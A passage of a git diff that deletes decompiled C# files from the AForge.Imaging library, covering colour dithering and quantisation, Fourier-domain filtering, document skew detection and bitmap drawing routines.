val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, ((Image)val).PixelFormat); - byte* ptr = (byte*)unmanagedImage.ImageData.ToPointer(); - byte* ptr2 = (byte*)val2.Scan0.ToPointer(); - bool flag = colorTable.Length > 16; - for (y = 0; y < height; y++) - { - byte* ptr3 = ptr2 + (nint)y * (nint)val2.Stride; - x = 0; - while (x < width) - { - int num3 = ptr[2]; - int num4 = ptr[1]; - int num5 = *ptr; - byte colorIndex; - Color closestColor = GetClosestColor(num3, num4, num5, out colorIndex); - Diffuse(num3 - closestColor.R, num4 - closestColor.G, num5 - closestColor.B, ptr); - if (flag) - { - *ptr3 = colorIndex; - ptr3++; - } - else if (x % 2 == 0) - { - byte* intPtr = ptr3; - *intPtr |= (byte)(colorIndex << 4); - } - else - { - byte* intPtr2 = ptr3; - *intPtr2 |= colorIndex; - ptr3++; - } - x++; - ptr += pixelSize; - } - ptr += num; - } - val.UnlockBits(val2); - unmanagedImage.Dispose(); - return val; - } - - private Color GetClosestColor(int red, int green, int blue, out byte colorIndex) - { - Color key = Color.FromArgb(red, green, blue); - if (useCaching && cache.ContainsKey(key)) - { - colorIndex = cache[key]; - } - else - { - colorIndex = 0; - int num = int.MaxValue; - int i = 0; - for (int num2 = colorTable.Length; i < num2; i++) - { - int num3 = red - colorTable[i].R; - int num4 = green - colorTable[i].G; - int num5 = blue - colorTable[i].B; - int num6 = num3 * num3 + num4 * num4 + num5 * num5; - if (num6 < num) - { - num = num6; - colorIndex = (byte)i; - } - } - if (useCaching) - { - cache.Add(key, colorIndex); - } - } - return colorTable[colorIndex]; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/FloydSteinbergColorDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/FloydSteinbergColorDithering.cs deleted file mode 100644 index 6e769e3..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/FloydSteinbergColorDithering.cs +++ /dev/null @@ -1,13 +0,0 @@ -namespace AForge.Imaging.ColorReduction; - -public sealed class FloydSteinbergColorDithering : ColorErrorDiffusionToAdjacentNeighbors -{ - public FloydSteinbergColorDithering() - : base(new int[2][] - { - new int[1] { 7 }, - new int[3] { 3, 5, 1 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/IColorQuantizer.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/IColorQuantizer.cs deleted file mode 100644 index b505df6..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/IColorQuantizer.cs +++ /dev/null @@ -1,12 +0,0 @@ -using System.Drawing; - -namespace AForge.Imaging.ColorReduction; - -public interface IColorQuantizer -{ - void AddColor(Color color); - - Color[] GetPalette(int colorCount); - - void Clear(); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/JarvisJudiceNinkeColorDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/JarvisJudiceNinkeColorDithering.cs deleted file mode 100644 index de0d4fe..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/JarvisJudiceNinkeColorDithering.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace AForge.Imaging.ColorReduction; - -public sealed class JarvisJudiceNinkeColorDithering : ColorErrorDiffusionToAdjacentNeighbors -{ - public JarvisJudiceNinkeColorDithering() - : base(new int[3][] - { - new int[2] { 7, 5 }, - new int[5] { 3, 5, 7, 5, 3 }, - new int[5] { 1, 3, 5, 3, 1 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/MedianCutCube.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/MedianCutCube.cs deleted file mode 100644 index 61d1c38..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/MedianCutCube.cs +++ /dev/null @@ -1,134 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; - -namespace AForge.Imaging.ColorReduction; - -internal class MedianCutCube -{ - private class RedComparer : IComparer - { - public int Compare(Color c1, Color c2) - { - return c1.R.CompareTo(c2.R); - } - } - - private class GreenComparer : IComparer - { - public int Compare(Color c1, Color c2) - { - return c1.G.CompareTo(c2.G); - } - } - - private class BlueComparer : IComparer - { - public int Compare(Color c1, Color c2) - { - return c1.B.CompareTo(c2.B); - } - } - - private List colors; - - private readonly byte minR; - - private readonly byte maxR; - - private readonly byte minG; - - private readonly byte maxG; - - private readonly byte minB; - - private readonly byte maxB; - - private Color? cubeColor = null; - - public int RedSize => maxR - minR; - - public int GreenSize => maxG - minG; - - public int BlueSize => maxB - minB; - - public Color Color - { - get - { - if (!cubeColor.HasValue) - { - int num = 0; - int num2 = 0; - int num3 = 0; - foreach (Color color in colors) - { - num += color.R; - num2 += color.G; - num3 += color.B; - } - int count = colors.Count; - if (count != 0) - { - num /= count; - num2 /= count; - num3 /= count; - } - cubeColor = Color.FromArgb(num, num2, num3); - } - return cubeColor.Value; - } - } - - public MedianCutCube(List colors) - { - this.colors = colors; - minR = (minG = (minB = byte.MaxValue)); - maxR = (maxG = (maxB = 0)); - foreach (Color color in colors) - { - if (color.R < minR) - { - minR = color.R; - } - if (color.R > maxR) - { - maxR = color.R; - } - if (color.G < minG) - { - minG = color.G; - } - if (color.G > maxG) - { - maxG = color.G; - } - if (color.B < minB) - { - minB = color.B; - } - if (color.B > maxB) - { - maxB = color.B; - } - } - } - - public void SplitAtMedian(int rgbComponent, out MedianCutCube cube1, out MedianCutCube cube2) - { - switch (rgbComponent) - { - case 2: - colors.Sort(new RedComparer()); - break; - case 1: - colors.Sort(new GreenComparer()); - break; - case 0: - colors.Sort(new BlueComparer()); - break; - } - int num = colors.Count / 2; - cube1 = new MedianCutCube(colors.GetRange(0, num)); - cube2 = new MedianCutCube(colors.GetRange(num, colors.Count - num)); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/MedianCutQuantizer.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/MedianCutQuantizer.cs deleted file mode 100644 index 2075bf7..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/MedianCutQuantizer.cs +++ /dev/null @@ -1,63 +0,0 @@ -using System.Collections.Generic; -using System.Drawing; - -namespace AForge.Imaging.ColorReduction; - -public class MedianCutQuantizer : IColorQuantizer -{ - private List colors = new List(); - - public void AddColor(Color color) - { - colors.Add(color); - } - - public Color[] GetPalette(int colorCount) - { - List list = new List(); - list.Add(new MedianCutCube(colors)); - SplitCubes(list, colorCount); - Color[] array = new Color[colorCount]; - for (int i = 0; i < colorCount; i++) - { - ref Color reference = ref array[i]; - reference = list[i].Color; - } - return array; - } - - public void Clear() - { - colors.Clear(); - } - - private void SplitCubes(List cubes, int count) - { - int num = cubes.Count - 1; - while (cubes.Count < count) - { - MedianCutCube medianCutCube = cubes[num]; - MedianCutCube cube; - MedianCutCube cube2; - if (medianCutCube.RedSize >= medianCutCube.GreenSize && medianCutCube.RedSize >= medianCutCube.BlueSize) - { - medianCutCube.SplitAtMedian(2, out cube, out cube2); - } - else if (medianCutCube.GreenSize >= medianCutCube.BlueSize) - { - medianCutCube.SplitAtMedian(1, out cube, out cube2); - } - else - { - medianCutCube.SplitAtMedian(0, out cube, out cube2); - } - cubes.RemoveAt(num); - cubes.Insert(num, cube); - cubes.Insert(num, cube2); - if (--num < 0) - { - num = cubes.Count - 1; - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/OrderedColorDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/OrderedColorDithering.cs deleted file mode 100644 index 70562af..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/OrderedColorDithering.cs +++ /dev/null @@ -1,232 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.ColorReduction; - -public class OrderedColorDithering -{ - private bool useCaching; - - private Color[] colorTable = new Color[16] - { - Color.Black, - Color.DarkBlue, - Color.DarkGreen, - Color.DarkCyan, - Color.DarkRed, - Color.DarkMagenta, - Color.DarkKhaki, - Color.LightGray, - Color.Gray, - Color.Blue, - Color.Green, - Color.Cyan, - Color.Red, - Color.Magenta, - Color.Yellow, - Color.White - }; - - private byte[,] matrix = new byte[4, 4] - { - { 2, 18, 6, 22 }, - { 26, 10, 30, 14 }, - { 8, 24, 4, 20 }, - { 32, 16, 28, 12 } - }; - - [NonSerialized] - private Dictionary cache = new Dictionary(); - - public byte[,] ThresholdMatrix - { - get - { - return (byte[,])matrix.Clone(); - } - set - { - if (value == null) - { - throw new NullReferenceException("Threshold matrix cannot be set to null."); - } - matrix = value; - } - } - - public Color[] ColorTable - { - get - { - return colorTable; - } - set - { - if (colorTable.Length < 2 || colorTable.Length > 256) - { - throw new ArgumentException("Color table length must be in the [2, 256] range."); - } - colorTable = value; - } - } - - public bool UseCaching - { - get - { - return useCaching; - } - set - { - useCaching = value; - } - } - - public OrderedColorDithering() - { - } - - public OrderedColorDithering(byte[,] matrix) - { - ThresholdMatrix = matrix; - } - - public Bitmap Apply(Bitmap sourceImage) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = sourceImage.LockBits(new Rectangle(0, 0, ((Image)sourceImage).Width, ((Image)sourceImage).Height), (ImageLockMode)1, ((Image)sourceImage).PixelFormat); - Bitmap val2 = null; - try - { - val2 = Apply(new UnmanagedImage(val)); - if (((Image)sourceImage).HorizontalResolution > 0f && ((Image)sourceImage).VerticalResolution > 0f) - { - val2.SetResolution(((Image)sourceImage).HorizontalResolution, ((Image)sourceImage).VerticalResolution); - } - } - finally - { - sourceImage.UnlockBits(val); - } - return val2; - } - - public unsafe Bitmap Apply(UnmanagedImage sourceImage) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - //IL_0060: Unknown result type (might be due to invalid IL or missing references) - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0018: Invalid comparison between Unknown and I4 - //IL_001b: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_0087: Unknown result type (might be due to invalid IL or missing references) - //IL_008e: Expected O, but got Unknown - //IL_0028: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - //IL_00ee: Unknown result type (might be due to invalid IL or missing references) - if ((int)sourceImage.PixelFormat != 137224 && (int)sourceImage.PixelFormat != 139273 && (int)sourceImage.PixelFormat != 2498570 && (int)sourceImage.PixelFormat != 925707) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - cache.Clear(); - int width = sourceImage.Width; - int height = sourceImage.Height; - int stride = sourceImage.Stride; - int num = Image.GetPixelFormatSize(sourceImage.PixelFormat) / 8; - Bitmap val = new Bitmap(width, height, (PixelFormat)((colorTable.Length > 16) ? 198659 : 197634)); - ColorPalette palette = ((Image)val).Palette; - int i = 0; - for (int num2 = colorTable.Length; i < num2; i++) - { - ref Color reference = ref palette.Entries[i]; - reference = colorTable[i]; - } - ((Image)val).Palette = palette; - BitmapData val2 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, ((Image)val).PixelFormat); - int length = matrix.GetLength(0); - int length2 = matrix.GetLength(1); - byte* ptr = (byte*)sourceImage.ImageData.ToPointer(); - byte* ptr2 = (byte*)val2.Scan0.ToPointer(); - bool flag = colorTable.Length > 16; - for (int j = 0; j < height; j++) - { - byte* ptr3 = ptr2 + (nint)j * (nint)val2.Stride; - int num3 = 0; - while (num3 < width) - { - int num4 = matrix[j % length, num3 % length2]; - int num5 = ptr[2] + num4; - int num6 = ptr[1] + num4; - int num7 = *ptr + num4; - if (num5 > 255) - { - num5 = 255; - } - if (num6 > 255) - { - num6 = 255; - } - if (num7 > 255) - { - num7 = 255; - } - GetClosestColor(num5, num6, num7, out var colorIndex); - if (flag) - { - *ptr3 = colorIndex; - ptr3++; - } - else if (num3 % 2 == 0) - { - byte* intPtr = ptr3; - *intPtr |= (byte)(colorIndex << 4); - } - else - { - byte* intPtr2 = ptr3; - *intPtr2 |= colorIndex; - ptr3++; - } - num3++; - ptr += num; - } - } - val.UnlockBits(val2); - return val; - } - - private Color GetClosestColor(int red, int green, int blue, out byte colorIndex) - { - Color key = Color.FromArgb(red, green, blue); - if (useCaching && cache.ContainsKey(key)) - { - colorIndex = cache[key]; - } - else - { - colorIndex = 0; - int num = int.MaxValue; - int i = 0; - for (int num2 = colorTable.Length; i < num2; i++) - { - int num3 = red - colorTable[i].R; - int num4 = green - colorTable[i].G; - int num5 = blue - colorTable[i].B; - int num6 = num3 * num3 + num4 * num4 + num5 * num5; - if (num6 < num) - { - num = num6; - colorIndex = (byte)i; - } - } - if (useCaching) - { - cache.Add(key, colorIndex); - } - } - return colorTable[colorIndex]; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/SierraColorDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/SierraColorDithering.cs deleted file mode 100644 index 98646e1..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/SierraColorDithering.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace AForge.Imaging.ColorReduction; - -public sealed class SierraColorDithering : ColorErrorDiffusionToAdjacentNeighbors -{ - public SierraColorDithering() - : base(new int[3][] - { - new int[2] { 5, 3 }, - new int[5] { 2, 4, 5, 4, 2 }, - new int[3] { 2, 3, 2 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/StuckiColorDithering.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/StuckiColorDithering.cs deleted file mode 100644 index bd8a485..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ColorReduction/StuckiColorDithering.cs +++ /dev/null @@ -1,14 +0,0 @@ -namespace AForge.Imaging.ColorReduction; - -public sealed class StuckiColorDithering : ColorErrorDiffusionToAdjacentNeighbors -{ - public StuckiColorDithering() - : base(new int[3][] - { - new int[2] { 8, 4 }, - new int[5] { 2, 4, 8, 4, 2 }, - new int[5] { 1, 2, 4, 2, 1 } - }) - { - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexFilters/FrequencyFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexFilters/FrequencyFilter.cs deleted file mode 100644 index b8f83b8..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexFilters/FrequencyFilter.cs +++ /dev/null @@ -1,59 +0,0 @@ -using System; -using AForge.Math; - -namespace AForge.Imaging.ComplexFilters; - -public class FrequencyFilter : IComplexFilter -{ - private IntRange frequencyRange = new IntRange(0, 1024); - - public IntRange FrequencyRange - { - get - { - return frequencyRange; - } - set - { - frequencyRange = value; - } - } - - public FrequencyFilter() - { - } - - public FrequencyFilter(IntRange frequencyRange) - { - this.frequencyRange = frequencyRange; - } - - public void Apply(ComplexImage complexImage) - { - if (!complexImage.FourierTransformed) - { - throw new ArgumentException("The source complex image should be Fourier transformed."); - } - int width = complexImage.Width; - int height = complexImage.Height; - int num = width >> 1; - int num2 = height >> 1; - int min = frequencyRange.Min; - int max = frequencyRange.Max; - Complex[,] data = complexImage.Data; - for (int i = 0; i < height; i++) - { - int num3 = i - num2; - for (int j = 0; j < width; j++) - { - int num4 = j - num; - int num5 = (int)System.Math.Sqrt(num4 * num4 + num3 * num3); - if (num5 > max || num5 < min) - { - data[i, j].Re = 0.0; - data[i, j].Im = 0.0; - } - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexFilters/IComplexFilter.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexFilters/IComplexFilter.cs deleted file mode 100644 index 1b443c4..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexFilters/IComplexFilter.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace AForge.Imaging.ComplexFilters; - -public interface IComplexFilter -{ - void Apply(ComplexImage complexImage); -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexImage.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexImage.cs deleted file mode 100644 index 714b0b7..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/ComplexImage.cs +++ /dev/null @@ -1,164 +0,0 @@ -using System; -using System.Drawing; -using System.Drawing.Imaging; -using AForge.Math; - -namespace AForge.Imaging; - -public class ComplexImage : ICloneable -{ - private Complex[,] data; - - private int width; - - private int height; - - private bool fourierTransformed; - - public int Width => width; - - public int Height => height; - - public bool FourierTransformed => fourierTransformed; - - public Complex[,] Data => data; - - protected ComplexImage(int width, int height) - { - this.width = width; - this.height = height; - data = new Complex[height, width]; - fourierTransformed = false; - } - - public object Clone() - { - ComplexImage complexImage = new ComplexImage(width, height); - Complex[,] array = complexImage.data; - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - ref Complex reference = ref array[i, j]; - reference = data[i, j]; - } - } - complexImage.fourierTransformed = fourierTransformed; - return complexImage; - } - - public static ComplexImage FromBitmap(Bitmap image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Source image can be graysclae (8bpp indexed) image only."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, (PixelFormat)198659); - try - { - return FromBitmap(val); - } - finally - { - image.UnlockBits(val); - } - } - - public unsafe static ComplexImage FromBitmap(BitmapData imageData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)imageData.PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Source image can be graysclae (8bpp indexed) image only."); - } - int num = imageData.Width; - int num2 = imageData.Height; - int num3 = imageData.Stride - num; - if (!Tools.IsPowerOf2(num) || !Tools.IsPowerOf2(num2)) - { - throw new InvalidImagePropertiesException("Image width and height should be power of 2."); - } - ComplexImage complexImage = new ComplexImage(num, num2); - Complex[,] array = complexImage.data; - byte* ptr = (byte*)imageData.Scan0.ToPointer(); - for (int i = 0; i < num2; i++) - { - int num4 = 0; - while (num4 < num) - { - array[i, num4].Re = (float)(int)(*ptr) / 255f; - num4++; - ptr++; - } - ptr += num3; - } - return complexImage; - } - - public unsafe Bitmap ToBitmap() - { - Bitmap val = Image.CreateGrayscaleImage(width, height); - BitmapData val2 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, (PixelFormat)198659); - int num = val2.Stride - width; - double num2 = (fourierTransformed ? System.Math.Sqrt(width * height) : 1.0); - byte* ptr = (byte*)val2.Scan0.ToPointer(); - for (int i = 0; i < height; i++) - { - int num3 = 0; - while (num3 < width) - { - *ptr = (byte)System.Math.Max(0.0, System.Math.Min(255.0, data[i, num3].Magnitude * num2 * 255.0)); - num3++; - ptr++; - } - ptr += num; - } - val.UnlockBits(val2); - return val; - } - - public void ForwardFourierTransform() - { - if (fourierTransformed) - { - return; - } - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - if (((j + i) & 1) != 0) - { - data[i, j].Re *= -1.0; - data[i, j].Im *= -1.0; - } - } - } - FourierTransform.FFT2(data, FourierTransform.Direction.Forward); - fourierTransformed = true; - } - - public void BackwardFourierTransform() - { - if (!fourierTransformed) - { - return; - } - FourierTransform.FFT2(data, FourierTransform.Direction.Backward); - fourierTransformed = false; - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - if (((j + i) & 1) != 0) - { - data[i, j].Re *= -1.0; - data[i, j].Im *= -1.0; - } - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/DocumentSkewChecker.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/DocumentSkewChecker.cs deleted file mode 100644 index e0035fc..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/DocumentSkewChecker.cs +++ /dev/null @@ -1,295 +0,0 @@ -using System; -using System.Collections; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public class DocumentSkewChecker -{ - private int stepsPerDegree; - - private int houghHeight; - - private double thetaStep; - - private double maxSkewToDetect; - - private double[] sinMap; - - private double[] cosMap; - - private bool needToInitialize = true; - - private short[,] houghMap; - - private short maxMapIntensity; - - private int localPeakRadius = 4; - - private ArrayList lines = new ArrayList(); - - public int StepsPerDegree - { - get - { - return stepsPerDegree; - } - set - { - stepsPerDegree = System.Math.Max(1, System.Math.Min(10, value)); - needToInitialize = true; - } - } - - public double MaxSkewToDetect - { - get - { - return maxSkewToDetect; - } - set - { - maxSkewToDetect = System.Math.Max(0.0, System.Math.Min(45.0, value)); - needToInitialize = true; - } - } - - [Obsolete("The property is deprecated and setting it has not any effect. Use MaxSkewToDetect property instead.")] - public double MinBeta - { - get - { - return 0.0 - maxSkewToDetect; - } - set - { - } - } - - [Obsolete("The property is deprecated and setting it has not any effect. Use MaxSkewToDetect property instead.")] - public double MaxBeta - { - get - { - return maxSkewToDetect; - } - set - { - } - } - - public int LocalPeakRadius - { - get - { - return localPeakRadius; - } - set - { - localPeakRadius = System.Math.Max(1, System.Math.Min(10, value)); - } - } - - public DocumentSkewChecker() - { - StepsPerDegree = 10; - MaxSkewToDetect = 30.0; - } - - public double GetSkewAngle(Bitmap image) - { - return GetSkewAngle(image, new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height)); - } - - public double GetSkewAngle(Bitmap image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)((Image)image).PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, (PixelFormat)198659); - try - { - return GetSkewAngle(new UnmanagedImage(val), rect); - } - finally - { - image.UnlockBits(val); - } - } - - public double GetSkewAngle(BitmapData imageData) - { - return GetSkewAngle(new UnmanagedImage(imageData), new Rectangle(0, 0, imageData.Width, imageData.Height)); - } - - public double GetSkewAngle(BitmapData imageData, Rectangle rect) - { - return GetSkewAngle(new UnmanagedImage(imageData), rect); - } - - public double GetSkewAngle(UnmanagedImage image) - { - return GetSkewAngle(image, new Rectangle(0, 0, image.Width, image.Height)); - } - - public unsafe double GetSkewAngle(UnmanagedImage image, Rectangle rect) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - InitHoughMap(); - int width = image.Width; - int height = image.Height; - int num = width / 2; - int num2 = height / 2; - rect.Intersect(new Rectangle(0, 0, width, height)); - int num3 = -num + rect.Left; - int num4 = -num2 + rect.Top; - int num5 = width - num - (width - rect.Right); - int num6 = height - num2 - (height - rect.Bottom) - 1; - int num7 = image.Stride - rect.Width; - int num8 = (int)System.Math.Sqrt(num * num + num2 * num2); - int num9 = num8 * 2; - houghMap = new short[houghHeight, num9]; - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)rect.Top * (nint)image.Stride + rect.Left; - byte* ptr2 = ptr + image.Stride; - for (int i = num4; i < num6; i++) - { - int num10 = num3; - while (num10 < num5) - { - if (*ptr < 128 && *ptr2 >= 128) - { - for (int j = 0; j < houghHeight; j++) - { - int num11 = (int)(cosMap[j] * (double)num10 - sinMap[j] * (double)i) + num8; - if (num11 >= 0 && num11 < num9) - { - houghMap[j, num11]++; - } - } - } - num10++; - ptr++; - ptr2++; - } - ptr += num7; - ptr2 += num7; - } - maxMapIntensity = 0; - for (int k = 0; k < houghHeight; k++) - { - for (int l = 0; l < num9; l++) - { - if (houghMap[k, l] > maxMapIntensity) - { - maxMapIntensity = houghMap[k, l]; - } - } - } - CollectLines((short)(width / 10)); - HoughLine[] mostIntensiveLines = GetMostIntensiveLines(5); - double num12 = 0.0; - double num13 = 0.0; - HoughLine[] array = mostIntensiveLines; - foreach (HoughLine houghLine in array) - { - if (houghLine.RelativeIntensity > 0.5) - { - num12 += houghLine.Theta * houghLine.RelativeIntensity; - num13 += houghLine.RelativeIntensity; - } - } - if (mostIntensiveLines.Length > 0) - { - num12 /= num13; - } - return num12 - 90.0; - } - - private HoughLine[] GetMostIntensiveLines(int count) - { - int num = System.Math.Min(count, lines.Count); - HoughLine[] array = new HoughLine[num]; - lines.CopyTo(0, array, 0, num); - return array; - } - - private void CollectLines(short minLineIntensity) - { - int length = houghMap.GetLength(0); - int length2 = houghMap.GetLength(1); - int num = length2 >> 1; - lines.Clear(); - for (int i = 0; i < length; i++) - { - for (int j = 0; j < length2; j++) - { - short num2 = houghMap[i, j]; - if (num2 < minLineIntensity) - { - continue; - } - bool flag = false; - int k = i - localPeakRadius; - for (int num3 = i + localPeakRadius; k < num3; k++) - { - if (k < 0) - { - continue; - } - if (k >= length || flag) - { - break; - } - int l = j - localPeakRadius; - for (int num4 = j + localPeakRadius; l < num4; l++) - { - if (l >= 0) - { - if (l >= length2) - { - break; - } - if (houghMap[k, l] > num2) - { - flag = true; - break; - } - } - } - } - if (!flag) - { - lines.Add(new HoughLine(90.0 - maxSkewToDetect + (double)i / (double)stepsPerDegree, (short)(j - num), num2, (double)num2 / (double)maxMapIntensity)); - } - } - } - lines.Sort(); - } - - private void InitHoughMap() - { - if (needToInitialize) - { - needToInitialize = false; - houghHeight = (int)(2.0 * maxSkewToDetect * (double)stepsPerDegree); - thetaStep = 2.0 * maxSkewToDetect * System.Math.PI / 180.0 / (double)houghHeight; - sinMap = new double[houghHeight]; - cosMap = new double[houghHeight]; - double num = 90.0 - maxSkewToDetect; - for (int i = 0; i < houghHeight; i++) - { - sinMap[i] = System.Math.Sin(num * System.Math.PI / 180.0 + (double)i * thetaStep); - cosMap[i] = System.Math.Cos(num * System.Math.PI / 180.0 + (double)i * thetaStep); - } - } - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Drawing.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Drawing.cs deleted file mode 100644 index eedbe0b..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Drawing.cs +++ /dev/null @@ -1,381 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging; - -public static class Drawing -{ - public static void FillRectangle(BitmapData imageData, Rectangle rectangle, Color color) - { - FillRectangle(new UnmanagedImage(imageData), rectangle, color); - } - - public unsafe static void FillRectangle(UnmanagedImage image, Rectangle rectangle, Color color) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000c: Unknown result type (might be due to invalid IL or missing references) - //IL_00c5: Unknown result type (might be due to invalid IL or missing references) - //IL_00cf: Invalid comparison between Unknown and I4 - //IL_013b: Unknown result type (might be due to invalid IL or missing references) - //IL_0145: Invalid comparison between Unknown and I4 - CheckPixelFormat(image.PixelFormat); - int num = Image.GetPixelFormatSize(image.PixelFormat) / 8; - int width = image.Width; - int height = image.Height; - int stride = image.Stride; - int x = rectangle.X; - int y = rectangle.Y; - int num2 = rectangle.X + rectangle.Width - 1; - int num3 = rectangle.Y + rectangle.Height - 1; - if (x >= width || y >= height || num2 < 0 || num3 < 0) - { - return; - } - int num4 = System.Math.Max(0, x); - int num5 = System.Math.Min(width - 1, num2); - int num6 = System.Math.Max(0, y); - int num7 = System.Math.Min(height - 1, num3); - byte* ptr = (byte*)image.ImageData.ToPointer() + (nint)num6 * (nint)stride + (nint)num4 * (nint)num; - if ((int)image.PixelFormat == 198659) - { - byte filler = (byte)(0.2125 * (double)(int)color.R + 0.7154 * (double)(int)color.G + 0.0721 * (double)(int)color.B); - int count = num5 - num4 + 1; - for (int i = num6; i <= num7; i++) - { - SystemTools.SetUnmanagedMemory(ptr, filler, count); - ptr += stride; - } - return; - } - if ((int)image.PixelFormat == 2498570) - { - double num8 = (double)(int)color.A / 255.0; - double num9 = 1.0 - num8; - double num10 = num8 * (double)(int)color.R; - double num11 = num8 * (double)(int)color.G; - double num12 = num8 * (double)(int)color.B; - int num13 = stride - (num5 - num4 + 1) * 4; - for (int j = num6; j <= num7; j++) - { - int num14 = num4; - while (num14 <= num5) - { - double num15 = (double)(int)ptr[3] / 255.0 * num9; - ptr[2] = (byte)(num10 + num15 * (double)(int)ptr[2]); - ptr[1] = (byte)(num11 + num15 * (double)(int)ptr[1]); - *ptr = (byte)(num12 + num15 * (double)(int)(*ptr)); - ptr[3] = (byte)(255.0 * (num8 + num15)); - num14++; - ptr += 4; - } - ptr += num13; - } - return; - } - byte r = color.R; - byte g = color.G; - byte b = color.B; - int num16 = stride - (num5 - num4 + 1) * num; - if (color.A == byte.MaxValue) - { - for (int k = num6; k <= num7; k++) - { - int num17 = num4; - while (num17 <= num5) - { - ptr[2] = r; - ptr[1] = g; - *ptr = b; - num17++; - ptr += num; - } - ptr += num16; - } - return; - } - int a = color.A; - int num18 = 255 - a; - int num19 = a * color.R; - int num20 = a * color.G; - int num21 = a * color.B; - for (int l = num6; l <= num7; l++) - { - int num22 = num4; - while (num22 <= num5) - { - ptr[2] = (byte)((num19 + num18 * ptr[2]) / 255); - ptr[1] = (byte)((num20 + num18 * ptr[1]) / 255); - *ptr = (byte)((num21 + num18 * *ptr) / 255); - num22++; - ptr += num; - } - ptr += num16; - } - } - - public static void Rectangle(BitmapData imageData, Rectangle rectangle, Color color) - { - Rectangle(new 